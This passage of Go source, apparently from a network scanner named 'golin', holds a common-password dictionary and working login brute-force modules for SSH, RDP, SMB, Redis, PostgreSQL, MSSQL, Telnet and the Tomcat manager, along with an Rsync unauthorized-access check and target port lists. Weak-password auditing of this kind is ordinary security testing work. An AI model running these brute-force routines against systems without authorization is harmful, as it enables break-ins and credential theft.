52 | 1q2w3e4r
53 | 1q2w3e
54 | 123qwe
55 | 123qaz
56 | 123asd
57 | 123456qwerty
58 | 987654321
59 | 147258369
60 | 123456789
61 | 88888888
62 | 12345678
63 | 7654321
64 | 1234567
65 | 888888
66 | 666666
67 | 654321
68 | 123321
69 | 123123
70 | 111111
71 | 12345
72 | 1234
73 | 123
74 | 0
75 | 123456
76 | 12345678
77 | q123456
78 | w2w2w2
79 | 1234567
80 | q1w2e3r4
81 | 54545454
82 | 121212
83 | 654321
84 | 1q2w3e4r
85 | 987654321
86 | zxcvbnm
87 | 12345
88 | 1234
89 | w123456
90 | qwertyuiop
91 | asdfghjkl
92 | 5454545454
93 | q1q1q1q1
94 | 87654321
95 | 1q2w3e
96 | qwerty
97 | 12121212
98 | 1q2w3e4r5t
99 | qwqwqw
100 | qwertyui
101 | 1qazxsw2
102 | 987654
103 | asdfgh
104 | 12qwaszx
105 | asasas
106 | 232323
107 | qw123456
108 | Q123456
109 | zxcvbn
110 | q1w2e3
111 | asdfghjk
112 | q1234567
113 | q1w2e3r4t5
114 | qwqwqw123
115 | q12345
116 | qwaszx
117 | 987654321
118 | 7654321
119 | zaq12wsx
120 | qazxsw
121 | q1q1q1q
122 | q12345678
123 | 234567
124 | 565656
125 | 787878
126 | QWERTYUIOP
127 | 1q1q1q
128 | zaq123
129 | 123454321
130 | mnbvcxz
131 | 1232123
132 | 1q2w3e4
133 | ewq123456
134 | 1234321
135 | 5454545
136 | qazxswedc
137 | 45454545
138 | ASDFGHJKL
139 | asdwasdw
140 | 23232323
141 | ZXCVBNM
142 | w12345678
143 | 1212121
144 | 454545454
145 | 21212121
146 | 98765
147 | asdfdfdf
148 | wq123456
149 | 1q1q1q1q
150 | 1212123
151 | asasasas
152 | qwertyu
153 | qwe321
154 | 323232
155 | w1234567
156 | 454545
157 | 909090
158 | 123456y
159 | 78787878
160 | !QAZ2wsx
161 | zxzxzx
162 | qwqwqwqw
163 | 90909090
164 | 545454
165 | 1q2w3e4r5t6y
166 | q1q1q1
167 | 123456yu
168 | qwertyuio
169 | qazxsw123
170 | 656565
171 | a123456
172 | zz12369
173 | 123456aa
174 | wmsxie123
175 | q123456
176 | 123456a
177 | w2w2w2
178 | a12369
179 | aa123456
180 | a321654
181 | 1qaz2wsx
182 | asd123
183 | sunliu66
184 | a111111
185 | 13e4e5sd
186 | qq666666
187 | a520520
188 | q1w2e3r4
189 | zz123456
190 | a123456789
191 | qwe123
192 | qqq111
193 | 112233abc
194 | a123123
195 | abc123456
196 | 123qwe
197 | a1234567
198 | a636654
199 | dircls128
200 | 123abc
201 | 1q2w3e4r
202 | aili1314
203 | 123456789a
204 | qq111111
205 | z123456
206 | xy123456
207 | a5201314
208 | a000000
209 | zeng1013
210 | a42176488
211 | 123456abc
212 | abc123
213 | abcd1234
214 | w123456
215 | aa456789
216 | asd123456
217 | a11111
218 | 123456789k
219 | 123aa123
220 | 789789aa
221 | 11111a
222 | zxc123456
223 | sxq330983
224 | 111111a
225 | a12345678
226 | qw123123
227 | 123456z
228 | ad123456
229 | qaz123
230 | 123456q
231 | zhang123
232 | li222222
233 | q111111
234 | zxcv123
235 | wdl123
236 | a12345
237 | qwe123456
238 | q1q1q1q1
--------------------------------------------------------------------------------
/scan/crack/pgsql.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "gorm.io/driver/postgres"
7 | "gorm.io/gorm"
8 | "gorm.io/gorm/logger"
9 | )
10 |
11 | func pgsql(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
12 | dsn := fmt.Sprintf("host=%s user=%s password=%s dbname=postgres port=%d sslmode=disable TimeZone=Asia/Shanghai connect_timeout=%d", ip, user, passwd, port, timeout)
13 | _, err := gorm.Open(postgres.Open(dsn), &gorm.Config{
14 | Logger: logger.Default.LogMode(logger.Silent),
15 | })
16 | if err == nil {
17 | end(ip, user, passwd, port, "PgSQL")
18 | cancel()
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/scan/crack/rdp.go:
--------------------------------------------------------------------------------
1 | //go:build rdp
2 |
3 | package crack
4 |
5 | import (
6 | "context"
7 | "errors"
8 | "fmt"
9 | "github.com/tomatome/grdp/core"
10 | "github.com/tomatome/grdp/glog"
11 | "github.com/tomatome/grdp/protocol/nla"
12 | "github.com/tomatome/grdp/protocol/pdu"
13 | "github.com/tomatome/grdp/protocol/rfb"
14 | "github.com/tomatome/grdp/protocol/sec"
15 | "github.com/tomatome/grdp/protocol/t125"
16 | "github.com/tomatome/grdp/protocol/tpkt"
17 | "github.com/tomatome/grdp/protocol/x224"
18 | "log"
19 | "net"
20 | "os"
21 | "sync"
22 | "time"
23 | )
24 |
25 | type Client struct {
26 | Host string // ip:port
27 | tpkt *tpkt.TPKT
28 | x224 *x224.X224
29 | mcs *t125.MCSClient
30 | sec *sec.Client
31 | pdu *pdu.Client
32 | vnc *rfb.RFB
33 | }
34 |
35 | func NewClient(host string, logLevel glog.LEVEL) *Client {
36 | glog.SetLevel(logLevel)
37 | logger := log.New(os.Stdout, "", 0)
38 | glog.SetLogger(logger)
39 | return &Client{
40 | Host: host,
41 | }
42 | }
43 |
44 | func rdpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
45 | r := NewClient(fmt.Sprintf("%s:%d", ip, port), glog.NONE)
46 | err := r.Login("", user, passwd, timeout)
47 | if err == nil {
48 | end(ip, user, passwd, port, "RDP")
49 | cancel()
50 | }
51 | }
52 |
53 | func (g *Client) Login(domain, user, pwd string, timeout int) error {
54 | var err error
55 | defer func() {
56 | if r := recover(); r != nil {
57 | err = fmt.Errorf("panic: %v", r)
58 | }
59 | }()
60 | conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
61 | defer func() {
62 | if conn != nil {
63 | _ = conn.Close()
64 | }
65 | }()
66 | if err != nil {
67 | return fmt.Errorf("[dial err] %v", err)
68 | }
69 | glog.Info(conn.LocalAddr().String())
70 |
71 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
72 | g.x224 = x224.New(g.tpkt)
73 | g.mcs = t125.NewMCSClient(g.x224)
74 | g.sec = sec.NewClient(g.mcs)
75 | g.pdu = pdu.NewClient(g.sec)
76 |
77 | g.sec.SetUser(user)
78 | g.sec.SetPwd(pwd)
79 | g.sec.SetDomain(domain)
80 | //g.sec.SetClientAutoReconnect()
81 |
82 | g.tpkt.SetFastPathListener(g.sec)
83 | g.sec.SetFastPathListener(g.pdu)
84 | g.pdu.SetFastPathSender(g.tpkt)
85 |
86 | //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
87 | //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
88 |
89 | err = g.x224.Connect()
90 | if err != nil {
91 | return fmt.Errorf("[x224 connect err] %v", err)
92 | }
93 | glog.Info("wait connect ok")
94 | wg := &sync.WaitGroup{}
95 | breakFlag := false
96 | wg.Add(1)
97 |
98 | g.pdu.On("error", func(e error) {
99 | err = e
100 | glog.Error("error", e)
101 | g.pdu.Emit("done")
102 | })
103 | g.pdu.On("close", func() {
104 | err = errors.New("close")
105 | glog.Info("on close")
106 | g.pdu.Emit("done")
107 | })
108 | g.pdu.On("success", func() {
109 | err = nil
110 | glog.Info("on success")
111 | g.pdu.Emit("done")
112 | })
113 | g.pdu.On("ready", func() {
114 | glog.Info("on ready")
115 | g.pdu.Emit("done")
116 | })
117 | g.pdu.On("update", func(rectangles []pdu.BitmapData) {
118 | glog.Info("on update:", rectangles)
119 | })
120 | g.pdu.On("done", func() {
121 | if breakFlag == false {
122 | breakFlag = true
123 | wg.Done()
124 | }
125 | })
126 | wg.Wait()
127 | return err
128 | }
129 |
--------------------------------------------------------------------------------
/scan/crack/rdp_pass.go:
--------------------------------------------------------------------------------
1 | //go:build !rdp
2 |
3 | package crack
4 |
5 | import (
6 | "context"
7 | )
8 |
9 | // linux系统是不支持rdp弱口令扫描
10 | func rdpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
11 | }
12 |
--------------------------------------------------------------------------------
/scan/crack/redis.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/go-redis/redis/v8"
7 | "time"
8 | )
9 |
10 | var ctx = context.Background()
11 |
12 | func rediscon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
13 | client := redis.NewClient(&redis.Options{
14 | Addr: fmt.Sprintf("%s:%d", ip, port),
15 | Username: user,
16 | Password: passwd,
17 | DB: 0,
18 | DialTimeout: time.Duration(timeout) * time.Second,
19 | MinRetryBackoff: time.Duration(timeout) * time.Second,
20 | ReadTimeout: time.Duration(timeout) * time.Second,
21 | })
22 | _, err := client.Ping(ctx).Result()
23 | if err == nil {
24 | end(ip, user, passwd, port, "Redis")
25 | cancel()
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/scan/crack/rsync.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "strconv"
7 | "strings"
8 | "time"
9 | )
10 |
11 | func Rsync(host, port string) {
12 | timeout := 3 * time.Second
13 |
14 | // 建立连接
15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), 3*time.Second)
16 | if err != nil {
17 | return
18 | }
19 | defer conn.Close()
20 |
21 | buffer := make([]byte, 1024)
22 |
23 | // 1. 读取服务器初始greeting
24 | n, err := conn.Read(buffer)
25 | if err != nil {
26 | return
27 | }
28 |
29 | greeting := string(buffer[:n])
30 |
31 | // 获取服务器版本号
32 | version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
33 |
34 | // 2. 回应相同的版本号
35 | _, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
36 | if err != nil {
37 | return
38 | }
39 |
40 | // 3. 选择模块 - 先列出可用模块
41 | _, err = conn.Write([]byte("#list\n"))
42 | if err != nil {
43 | return
44 | }
45 |
46 | // 4. 读取模块列表
47 | var moduleList strings.Builder
48 | for {
49 | n, err = conn.Read(buffer)
50 | if err != nil {
51 | break
52 | }
53 | chunk := string(buffer[:n])
54 | moduleList.WriteString(chunk)
55 | if strings.Contains(chunk, "@RSYNCD: EXIT") {
56 | break
57 | }
58 | fmt.Println("卡住了")
59 | }
60 |
61 | modules := strings.Split(moduleList.String(), "\n")
62 | for _, module := range modules {
63 | if strings.HasPrefix(module, "@RSYNCD") || module == "" {
64 | continue
65 | }
66 |
67 | // 获取模块名
68 | moduleName := strings.Fields(module)[0]
69 |
70 | // 5. 为每个模块创建新连接尝试认证
71 | authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
72 | if err != nil {
73 | continue
74 | }
75 |
76 | // 重复初始握手
77 | _, err = authConn.Read(buffer)
78 | if err != nil {
79 | _ = authConn.Close()
80 | continue
81 | }
82 |
83 | _, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
84 | if err != nil {
85 | _ = authConn.Close()
86 | continue
87 | }
88 |
89 | // 6. 选择模块
90 | _, err = authConn.Write([]byte(moduleName + "\n"))
91 | if err != nil {
92 | _ = authConn.Close()
93 | continue
94 | }
95 |
96 | // 7. 等待认证挑战
97 | n, err = authConn.Read(buffer)
98 |
99 | if err != nil {
100 | _ = authConn.Close()
101 | continue
102 | }
103 |
104 | authResponse := string(buffer[:n])
105 | if strings.Contains(authResponse, "@RSYNCD: OK") {
106 | _ = authConn.Close()
107 | intport, _ := strconv.Atoi(port)
108 | end(host, "未授权访问", "", intport, "Rsync")
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/scan/crack/run.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/fatih/color"
7 | "golin/global"
8 | "os"
9 | "strconv"
10 | "sync"
11 | "time"
12 | )
13 |
14 | var ListCrackHost []SussCrack
15 |
16 | type SussCrack struct {
17 | Host string
18 | User string
19 | Passwd string
20 | Port int
21 | Mode string
22 | }
23 |
24 | type HostPort struct {
25 | Host string
26 | Port int
27 | }
28 |
29 | var MapCrackHost = make(map[HostPort]SussCrack) //使用 Host和Port作为键,SussCrack结构体作为值。对于每个 Host 和 Port 的组合,只会存储一次弱口令信息,避免并发遇到匿名用户输出。
30 |
31 | // ConnectionFunc 定义一个函数类型
32 | type ConnectionFunc func(cancel context.CancelFunc, host, user, passwd string, newport, timeout int)
33 |
34 | // connectionFuncs 创建一个映射,将字符串映射到对应的函数
35 | var connectionFuncs = map[string]ConnectionFunc{
36 | "ssh": SSH,
37 | "mysql": mySql,
38 | "redis": rediscon,
39 | "postgresql": pgsql,
40 | "sqlserver": sqlservercon,
41 | "ftp": ftpcon,
42 | "smb": smbcon,
43 | "telnet": telnetcon,
44 | "tomcat": tomcat,
45 | "rdp": rdpcon,
46 | "oracle": oraclecon,
47 | }
48 |
49 | func Run(host, port string, Timeout, chanCount int, mode string) {
50 | ch := make(chan struct{}, chanCount)
51 | wg := sync.WaitGroup{}
52 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*time.Duration(Timeout))
53 | defer cancel() //确保所有的goroutine都已经退出
54 | newport, _ := strconv.Atoi(port)
55 |
56 | for _, user := range Userlist(mode) {
57 | for _, passwd := range Passwdlist() {
58 | fmt.Printf("\033[2K\r") // 擦除整行
59 | fmt.Printf("\r%s", color.MagentaString("\r[...] 正在进行弱口令扫描 -> %s", fmt.Sprintf("%s://%s:%s?user=%s?passwd=%s", mode, host, port, user, passwd)))
60 |
61 | ch <- struct{}{}
62 | wg.Add(1)
63 | if connFunc, ok := connectionFuncs[mode]; ok {
64 | go crackOnce(ctx, cancel, host, user, passwd, newport, Timeout, ch, &wg, connFunc, mode)
65 | } else {
66 | wg.Done()
67 | <-ch
68 | }
69 |
70 | }
71 | }
72 | wg.Wait()
73 | }
74 |
75 | func end(host, user, passwd string, port int, mode string) {
76 | global.PrintLock.Lock()
77 | defer global.PrintLock.Unlock()
78 | //ListCrackHost = append(ListCrackHost, SussCrack{host, user, passwd, port, mode})
79 | MapCrackHost[HostPort{Host: host, Port: port}] = SussCrack{host, user, passwd, port, mode}
80 | global.LogToFile(global.LevelInfo, fmt.Sprintf("%s:%d(%s) %s %s", host, port, mode, user, passwd))
81 |
82 | }
83 |
84 | func done(ch <-chan struct{}, wg *sync.WaitGroup) {
85 | <-ch
86 | wg.Done()
87 | }
88 |
89 | func crackOnce(ctx context.Context, cancel context.CancelFunc, host, user, passwd string, newport, timeout int, ch <-chan struct{}, wg *sync.WaitGroup, connFunc ConnectionFunc, key string) {
90 | defer done(ch, wg)
91 |
92 | hasDone := make(chan struct{}, 1)
93 | go func() {
94 | connFunc(cancel, host, user, passwd, newport, timeout)
95 | hasDone <- struct{}{}
96 | }()
97 |
98 | select {
99 | case <-hasDone:
100 | return
101 | case <-ctx.Done():
102 | if os.Getenv("crack") == "on" {
103 | fmt.Println(key, host, user, passwd, "crack timeout.....done")
104 | }
105 | return
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/scan/crack/smb.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "github.com/stacktitan/smb/smb"
6 | )
7 |
8 | func smbcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
9 | options := smb.Options{
10 | Host: ip,
11 | Port: port,
12 | User: user,
13 | Domain: "",
14 | Workstation: "",
15 | Password: passwd,
16 | }
17 | debug := false
18 | session, err := smb.NewSession(options, debug)
19 | if err == nil {
20 | defer session.Close()
21 | if session.IsAuthenticated {
22 | end(ip, user, passwd, port, "SMB")
23 | cancel()
24 | }
25 | }
26 | return
27 | }
28 |
--------------------------------------------------------------------------------
/scan/crack/sqlserver.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "gorm.io/driver/sqlserver"
7 | "gorm.io/gorm"
8 | "gorm.io/gorm/logger"
9 | )
10 |
11 | func sqlservercon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
12 | dsn := fmt.Sprintf("sqlserver://%s:%s@%s:%d?database=master&timeout=%ds", user, passwd, ip, port, timeout)
13 | _, err := gorm.Open(sqlserver.Open(dsn), &gorm.Config{
14 | Logger: logger.Default.LogMode(logger.Silent),
15 | })
16 |
17 | if err == nil {
18 | end(ip, user, passwd, port, "MSSQL")
19 | cancel()
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/scan/crack/ssh.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "golang.org/x/crypto/ssh"
7 | "time"
8 | )
9 |
10 | func SSH(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
11 | configssh := &ssh.ClientConfig{
12 | Timeout: time.Duration(timeout) * time.Second, // ssh连接timeout时间
13 | User: user,
14 | HostKeyCallback: ssh.InsecureIgnoreHostKey(),
15 | }
16 | configssh.Auth = []ssh.AuthMethod{ssh.Password(passwd)}
17 |
18 | addr := fmt.Sprintf("%s:%d", ip, port)
19 | sshClient, err := ssh.Dial("tcp", addr, configssh)
20 | if err != nil {
21 | return
22 | }
23 | defer sshClient.Close()
24 | end(ip, user, passwd, port, "SSH")
25 | cancel()
26 | }
27 |
--------------------------------------------------------------------------------
/scan/crack/telnet.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/ziutek/telnet"
7 | "io"
8 | "strings"
9 | "time"
10 | )
11 |
12 | func telnetcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
13 | conn, err := telnet.DialTimeout("tcp", fmt.Sprintf("%s:%d", ip, port), time.Duration(timeout))
14 | if err != nil {
15 | return
16 | }
17 | err = login(conn, user, passwd)
18 | if err == nil {
19 | if readOutput(conn) {
20 | defer conn.Close()
21 | end(ip, user, passwd, port, "Telnet")
22 | cancel()
23 | }
24 | }
25 | return
26 | }
27 |
28 | func login(conn *telnet.Conn, username string, password string) error {
29 | conn.SetUnixWriteMode(true)
30 | conn.SkipUntil("login: ")
31 | if _, err := io.WriteString(conn, fmt.Sprintf("%s\n", username)); err != nil {
32 | return err
33 | }
34 | conn.SkipUntil("Password: ")
35 | if _, err := io.WriteString(conn, fmt.Sprintf("%s\n", password)); err != nil {
36 | return err
37 | }
38 | return nil
39 | }
40 |
41 | func readOutput(conn *telnet.Conn) bool {
42 | for {
43 | data, err := conn.ReadUntil("\n")
44 | if len(data) > 0 {
45 | dataStr := strings.TrimSpace(string(data))
46 | if dataStr != "" {
47 | if strings.Count(dataStr, "incorrect") > 0 {
48 | return false
49 | }
50 | if strings.Count(dataStr, "Last") > 0 {
51 | return true
52 | }
53 | }
54 | }
55 | if err != nil {
56 | return false
57 | }
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/scan/crack/tomcat.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "encoding/base64"
5 | "fmt"
6 | "golang.org/x/net/context"
7 | "io"
8 | "net/http"
9 | "strings"
10 | "time"
11 | )
12 |
13 | func tomcat(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) {
14 | url := fmt.Sprintf("%s:%d", ip, port)
15 | base64passwd := fmt.Sprintf("%s:%s", user, passwd)
16 | base64passwd = base64.StdEncoding.EncodeToString([]byte(base64passwd))
17 | client := &http.Client{
18 | Timeout: time.Duration(timeout) * time.Second,
19 | }
20 | protocol := []string{"http", "https"}
21 | for _, t := range protocol {
22 | req, err := http.NewRequest("GET", fmt.Sprintf("%s://%s/manager/html", t, url), nil)
23 | if err != nil {
24 | continue
25 | }
26 | req.Header.Add("Host", url)
27 | req.Header.Add("Cache-Control", "max-age=0")
28 | req.Header.Add("Authorization", fmt.Sprintf("Basic %s", base64passwd))
29 | req.Header.Add("Upgrade-Insecure-Requests", "1")
30 | req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36")
31 | req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7")
32 | //req.Header.Add("Referer", "http://")
33 | req.Header.Add("Accept-Encoding", "gzip, deflate")
34 | req.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
35 | req.Header.Add("Connection", "close")
36 | resp, err := client.Do(req)
37 | if err != nil {
38 | continue
39 | }
40 |
41 | if resp != nil {
42 | defer resp.Body.Close()
43 | }
44 |
45 | body, err := io.ReadAll(resp.Body)
46 | if err != nil {
47 | continue
48 | }
49 |
50 | if strings.Contains(string(body), `action="/manager/html/deploy`) {
51 | end(ip, user, passwd, port, "Tomcat")
52 | cancel()
53 | }
54 | }
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/scan/echo.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "fmt"
5 | "github.com/olekukonko/tablewriter"
6 | "golin/poc"
7 | "golin/scan/crack"
8 | "os"
9 | "strconv"
10 | "strings"
11 | )
12 |
13 | // echoCrack 输出弱口令的资产信息
14 | func echoCrack() {
15 | if len(crack.MapCrackHost) <= 0 {
16 | return
17 | }
18 |
19 | var data [][]string
20 |
21 | for _, sussCrack := range crack.MapCrackHost {
22 | data = append(data, []string{sussCrack.Host, strconv.Itoa(sussCrack.Port), sussCrack.User, sussCrack.Passwd, sussCrack.Mode})
23 | }
24 |
25 | table := tablewriter.NewWriter(os.Stdout)
26 | table.SetHeader([]string{"Host", "Port", "User", "Passwd", "Mode"})
27 | table.AppendBulk(data)
28 | fmt.Printf(clearLine)
29 | table.Render()
30 | }
31 |
32 | // echoPoc 输出漏洞资产信息
33 | func echoPoc() {
34 | if len(poc.ListPocInfo) <= 0 {
35 | return
36 | }
37 | var data [][]string
38 | for _, sussPoc := range poc.ListPocInfo {
39 | sussPoc.Cve = strings.ReplaceAll(sussPoc.Cve, "poc-yaml-", "")
40 | data = append(data, []string{sussPoc.Url, sussPoc.Cve, sussPoc.Flag})
41 | }
42 |
43 | table := tablewriter.NewWriter(os.Stdout)
44 | table.SetHeader([]string{"Url", "Name", "Info"})
45 | table.AppendBulk(data)
46 | fmt.Printf(clearLine)
47 | table.Render()
48 |
49 | }
50 |
--------------------------------------------------------------------------------
/scan/exclude.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "golin/global"
5 | "os"
6 | "strings"
7 | )
8 |
9 | // excludePort 排除端口
10 | func excludePort(port string) {
11 | if port == "" {
12 | portlist = removeDuplicates(portlist) //现有端口去重
13 | return
14 | }
15 |
16 | if strings.Count(port, ",") == 0 {
17 | port = port + ","
18 | }
19 |
20 | for _, v := range strings.Split(port, ",") {
21 | for i := 0; i < len(portlist); i++ {
22 | if portlist[i] == v {
23 | portlist = append(portlist[:i], portlist[i+1:]...) // 删除与 v 相等的元素
24 | i-- // 更新索引,因为切片长度减少了 1
25 | }
26 | }
27 | }
28 |
29 | }
30 |
31 | // removeDuplicates 切片去重
32 | func removeDuplicates(slice []string) []string {
33 | keys := make(map[string]bool)
34 | var list []string
35 |
36 | for _, entry := range slice {
37 | if _, value := keys[entry]; !value {
38 | keys[entry] = true
39 | list = append(list, entry)
40 | }
41 | }
42 | return list
43 | }
44 |
45 | // removeIP 获取不进行扫描的IP
46 | func removeIP(data string) {
47 | iplist = removeDuplicates(iplist) //IP去重
48 |
49 | var NoList []string
50 | if global.PathExists(data) {
51 | fireData, _ := os.ReadFile(data)
52 | fireData = []byte(strings.ReplaceAll(string(fireData), "\r\n", "\n"))
53 | for _, ip := range strings.Split(string(fireData), "\n") {
54 | NoList = append(NoList, ip)
55 | }
56 | }
57 |
58 | // 创建一个映射,用于快速查找nolist中的元素
59 | noMap := make(map[string]bool)
60 | for _, ip := range NoList {
61 | noMap[ip] = true
62 | }
63 | // 创建一个新的切片,其中只包含那些不在nolist中的iplist元素
64 | var NewList []string
65 | for _, ip := range iplist {
66 | if _, ok := noMap[ip]; !ok {
67 | NewList = append(NewList, ip)
68 | }
69 | }
70 | iplist = NewList
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/scan/parsePort.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "strconv"
5 | "strings"
6 | )
7 |
8 | func parsePort(port string) {
9 | if webport {
10 | portlist = []string{"80", "81", "82", "88", "443", "8080", "8443", "8000", "8888", "3000", "5000", "5601", "7001"}
11 | return
12 | }
13 | if dbsport {
14 | portlist = []string{"1433", "1521", "3306", "5432", "9200", "27017", "6379", "2181"}
15 | return
16 | }
17 | if riskport {
18 | portlist = []string{"21", "22", "23", "25", "53", "69", "110", "143", "161", "389", "445", "512", "513", "514", "2049", "3306", "3389", "5900", "8080", "873", "5236", "61616"}
19 | return
20 | }
21 |
22 | if len(portlist) > 0 { //是否有特定端口
23 | return
24 | }
25 |
26 | if port == "0" {
27 | portlist = default_port
28 | return
29 | }
30 |
31 | for _, p := range strings.Split(port, ",") {
32 | if p == "" {
33 | continue
34 | }
35 |
36 | if strings.Count(p, "-") == 1 { //范围
37 | start := strings.Split(p, "-")[0]
38 | end := strings.Split(p, "-")[1]
39 | startNum, _ := strconv.Atoi(start)
40 | endNum, _ := strconv.Atoi(end)
41 | if startNum > endNum {
42 | continue
43 | }
44 | if startNum == endNum {
45 | portlist = append(portlist, start)
46 | continue
47 | }
48 | for i := startNum; i <= endNum; i++ {
49 | portlist = append(portlist, strconv.Itoa(i))
50 | }
51 | }
52 |
53 | if strings.Count(p, "-") == 0 {
54 | pNun, _ := strconv.Atoi(p)
55 | if pNun < 65535 {
56 | portlist = append(portlist, p)
57 | }
58 | }
59 |
60 | }
61 | }
62 |
63 | var (
64 | default_port = []string{
65 | "22", // SSH
66 | "66", //HFS
67 | "80", // HTTP
68 | "81", // HTTP
69 | "82", // HTTP
70 | "88", // HTTP
71 | "443", // HTTPS
72 | "21", // FTP
73 | "873", //Rsync
74 | "8888",
75 | "9999",
76 | "9200",
77 | "9080",
78 | "8443",
79 | "9080",
80 | "8001",
81 | "25", // SMTP
82 | "110", // POP3
83 | "143", // IMAP
84 | "465", //SMTPS
85 | "993", //IMAPS
86 | "995", //POP3S
87 | "1080", //SOCKS
88 | "1194", //开放VPN
89 | "2181", //ZooKeeper
90 | "53", // DNS
91 | "3389", // RDP
92 | "23", // Telnet
93 | "514", //Syslog
94 | "1433", // MSSQL
95 | "1521", // Oracle Database
96 | "6379", // Redis
97 | "27017", // MongoDB
98 | "8000", //web
99 | "8080", // HTTP (Alternate)
100 | "8443", // HTTPS (Alternate)
101 | "9000", // PHP-FPM
102 | "161", // SNMP Trap
103 | "445", // SMB
104 | "137", // NetBIOS
105 | "138", // NetBIOS
106 | "139", // NetBIOS
107 | "1434", // MSSQL (Alternate)
108 | "3306", // MySQL (Alternate)
109 | "5432", // PostgreSQL (Alternate)
110 | "5601", //kibana
111 | "8085",
112 | "5672", //RabbitMq
113 | "9000", //Hadoop
114 | "3000",
115 | "8008",
116 | "8081",
117 | "8082",
118 | "8083",
119 | "8084",
120 | "8085",
121 | "9999",
122 | "9100",
123 | "10000",
124 | "10001",
125 | "5236", //达梦数据库
126 | "8123", //ClickHouse
127 | }
128 | )
129 |
130 | var portProtocols = map[string]string{
131 | "25": "SMTP",
132 | "53": "DNS",
133 | "110": "POP3",
134 | "135": "RPC服务",
135 | "137": "NetBIOS名称服务",
136 | "138": "NetBIOS数据报服务",
137 | "139": "NetBIOS会话服务",
138 | "161": "SNMP",
139 | "162": "SNMP-trap",
140 | "143": "IMAP",
141 | "445": "SMB",
142 | "465": "SMTPS",
143 | "514": "syslog",
144 | "993": "IMAPS",
145 | "995": "POP3S",
146 | "1433": "数据库|SqlServer",
147 | "1521": "数据库|Oracle",
148 | "1723": "PPTP",
149 | "2049": "NFS",
150 | "3389": "RDP",
151 | "5900": "VNC",
152 | "5901": "VNC",
153 | "5672": "RabbitMq",
154 | "27017": "数据库|MongoDB",
155 | "2181": "ZooKeeper",
156 | }
157 |
--------------------------------------------------------------------------------
/scan/ping.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "fmt"
5 | "github.com/fatih/color"
6 | "math/rand"
7 | "net"
8 | "os/exec"
9 | "regexp"
10 | "runtime"
11 | "strconv"
12 | "strings"
13 | "sync"
14 | "time"
15 | )
16 |
17 | var (
18 | linuxcount int //linux 主机数量
19 | windowscount int //windows 主机数量
20 | pingwg = sync.WaitGroup{} //ping的并发数
21 | pingch = make(chan struct{}, 50) //ping的缓冲区数量
22 | filteredIPList []string //存放失败主机列表以及本地设备IP
23 | )
24 |
25 | func checkPing() {
26 | if !NoPing {
27 | SanPing()
28 | pingwg.Wait()
29 | // 删除ping失败的主机
30 | for _, ip := range filteredIPList {
31 | for i := 0; i < len(iplist); i++ {
32 | if iplist[i] == ip {
33 | iplist = append(iplist[:i], iplist[i+1:]...)
34 | break
35 | }
36 | }
37 | }
38 |
39 | }
40 |
41 | if random { //打乱主机顺序
42 | r := rand.New(rand.NewSource(time.Now().UnixNano()))
43 | r.Shuffle(len(iplist), func(i, j int) {
44 | iplist[i], iplist[j] = iplist[j], iplist[i]
45 | })
46 | }
47 |
48 | if !NoPing && len(iplist) == 0 {
49 | fmt.Printf("%s\n", color.RedString("%s", "[-] 通过尝试PING探测存活主机为0!可通过--noping跳过PING尝试"))
50 | return
51 | }
52 |
53 | fmt.Println("+------------------------------------------------------------+")
